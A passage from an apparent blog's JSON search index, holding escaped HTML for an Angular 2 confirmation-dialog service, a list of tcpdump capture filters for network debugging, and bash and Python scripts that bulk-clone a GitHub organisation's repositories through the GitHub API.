class=\"s1\"\u003e\u0026#39;./confirmation-dialog.component\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003eMdDialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eMdDialog\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eMdDialogConfig\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@angular/material\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003eInjectable\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eViewContainerRef\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@angular/core\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003e@Injectable\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003eclass\u003c/span\u003e \u003cspan class=\"nx\"\u003eConfirmationDialogsService\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003econstructor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003eprivate\u003c/span\u003e \u003cspan class=\"nx\"\u003edialog\u003c/span\u003e: \u003cspan class=\"kt\"\u003eMdDialog\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003econfirm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etitle\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003emessage\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eviewContainerRef\u003c/span\u003e: \u003cspan class=\"kt\"\u003eViewContainerRef\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnOkText\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Ok\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnCancelText\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Cancel\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eObservable\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eboolean\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e: \u003cspan class=\"kt\"\u003eMdDialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eConfirmationDialogComponent\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003econfig\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eMdDialogConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eviewContainerRef\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eviewContainerRef\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edialog\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eConfirmationDialogComponent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etitle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emessage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebtnOkText\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnOkText\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebtnCancelText\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnCancelText\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eafterClosed\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003econfirmWithoutContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etitle\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003emessage\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etitleAlign\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;center\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003emessageAlign\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;center\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnOkText\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Ok\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnCancelText\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Cancel\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eObservable\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eboolean\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e: \u003cspan class=\"kt\"\u003eMdDialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eConfirmationDialogComponent\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003econfig\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eMdDialogConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"c1\"\u003e// config.viewContainerRef = viewContainerRef;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edialog\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eConfirmationDialogComponent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etitle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emessage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etitleAlign\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003etitleAlign\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emessageAlign\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003emessageAlign\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebtnOkText\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnOkText\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecomponentInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebtnCancelText\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnCancelText\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eafterClosed\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003econfirmation-dialog.component.html\u003c/code\u003e\u003c/p\u003e","title":"Angular2 Confirmation Dialog component"},{"content":"Tcpdump and Netcat are one of the most useful utilities for Linux network debugging.\nSome of the examples where I have found tcpdump to be extremely useful are given below. In the next post, I will cover netcat.\nLook for traffic based on IP address tcpdump host 1.2.3.4 Capture based on protocol tcpdump udp Capture based on interface tcpdump -i eth1 Capture filter based on certain port tcpdump port 80 Capture filter based on source port or destination port tcpdump src port 80 tcpdump dst port 80 Capture based on port range tcpdump portrange 80-90 Capture display in ASCII tcpdump -A -i eth0 Capture to a file tcpdump -w 08232010.pcap -i eth0 ","permalink":"https://madhur.co.in/blog/2017/02/18/useful-tcpdump-netcat-usages.html","summary":"\u003cp\u003e\u003ca href=\"http://www.tcpdump.org/tcpdump_man.html\"\u003eTcpdump\u003c/a\u003e and \u003ca href=\"http://nc110.sourceforge.net/\"\u003eNetcat\u003c/a\u003e are one of the most useful utilities for Linux network debugging.\u003c/p\u003e\n\u003cp\u003eSome of the examples where I have found \u003ccode\u003etcpdump\u003c/code\u003e  to be extremely useful are given below. In the next post, I will cover netcat.\u003c/p\u003e\n\u003ch3 id=\"look-for-traffic-based-on-ip-address\"\u003eLook for traffic based on IP address\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump host 1.2.3.4\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"capture-based-on-protocol\"\u003eCapture based on protocol\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump udp\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"capture-based-on-interface\"\u003eCapture based on interface\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump -i eth1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"capture-filter-based-on-certain-port\"\u003eCapture filter based on certain port\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump port 80\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"capture-filter-based-on-source-port-or-destination-port\"\u003eCapture filter based on source port or destination port\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump src port 80\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump dst port 80\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"capture-based-on-port-range\"\u003eCapture based on port range\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump portrange 80-90\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"capture-display-in-ascii\"\u003eCapture display in ASCII\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump -A -i eth0\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"capture-to-a-file\"\u003eCapture to a file\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etcpdump -w 08232010.pcap -i eth0\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Useful tcpdump usages"},{"content":"Recently, I was looking a way to do a git clone in bulk. I came across this nifty little script to do the same\n#!/bin/bash # The script clones all repositories of an GitHub organization. # Author: Jens-Andre Koch # the github organization to fetch all repositories for GITHUB_ORGANIZATION=$1 # the git clone cmd used for cloning each repository # the parameter recursive is used to clone submodules, too. GIT_CLONE_CMD=\u0026#34;git clone \u0026#34; # fetch repository list via github api # grep fetches the json object key ssh_url, which contains the ssh url for the repository REPOLIST=`curl --silent https://api.github.com/orgs/${GITHUB_ORGANIZATION}/repos?per_page=200 -q | grep \u0026#34;\\\u0026#34;ssh_url\\\u0026#34;\u0026#34; | awk -F\u0026#39;: \u0026#34;\u0026#39; \u0026#39;{print $2}\u0026#39; | sed -e \u0026#39;s/\u0026#34;,//g\u0026#39;` # loop over all repository urls and execute clone for REPO in $REPOLIST; do ${GIT_CLONE_CMD}${REPO} done You can just invoke it with the argument of either user or organization. For example\n./clone.sh madhur\nThe problem with this is that it will not clone the private repos since the API used in this request is unauthenticated and will not have access to the private repos.\nI wrote a small little python script which will also clone the private repos.\nFirst, you need to obtain your personal access token\nThe gist is available here\nimport requests import json import subprocess GITHUB_ORGANIZATION = \u0026#34;madhur\u0026#34; ACCESS_TOKEN=\u0026#34;\u0026#34; CLONE_DIR=\u0026#34;./\u0026#34; r = requests.get(\u0026#34;https://api.github.com/orgs/\u0026#34; + GITHUB_ORGANIZATION + \u0026#34;/repos?per_page=200\u0026amp;access_token=\u0026#34; + ACCESS_TOKEN) data = json.loads(r.text) for repo in data: print repo[\u0026#39;full_name\u0026#39;] p = subprocess.Popen([\u0026#34;git\u0026#34;,\u0026#34;clone\u0026#34;, repo[\u0026#39;clone_url\u0026#39;]], cwd=CLONE_DIR) p.wait() ","permalink":"https://madhur.co.in/blog/2017/02/12/git-bulk-clone.html","summary":"\u003cp\u003eRecently, I was looking a way to do a git clone in bulk. I came across this nifty little script to do the same\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# The script clones all repositories of an GitHub organization.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Author: Jens-Andre Koch\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# the github organization to fetch all repositories for\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGITHUB_ORGANIZATION\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nv\"\u003e$1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# the git clone cmd used for cloning each repository\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# the parameter recursive is used to clone submodules, too.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eGIT_CLONE_CMD\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;git clone \u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# fetch repository list via github api\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# grep fetches the json object key ssh_url, which contains the ssh url for the 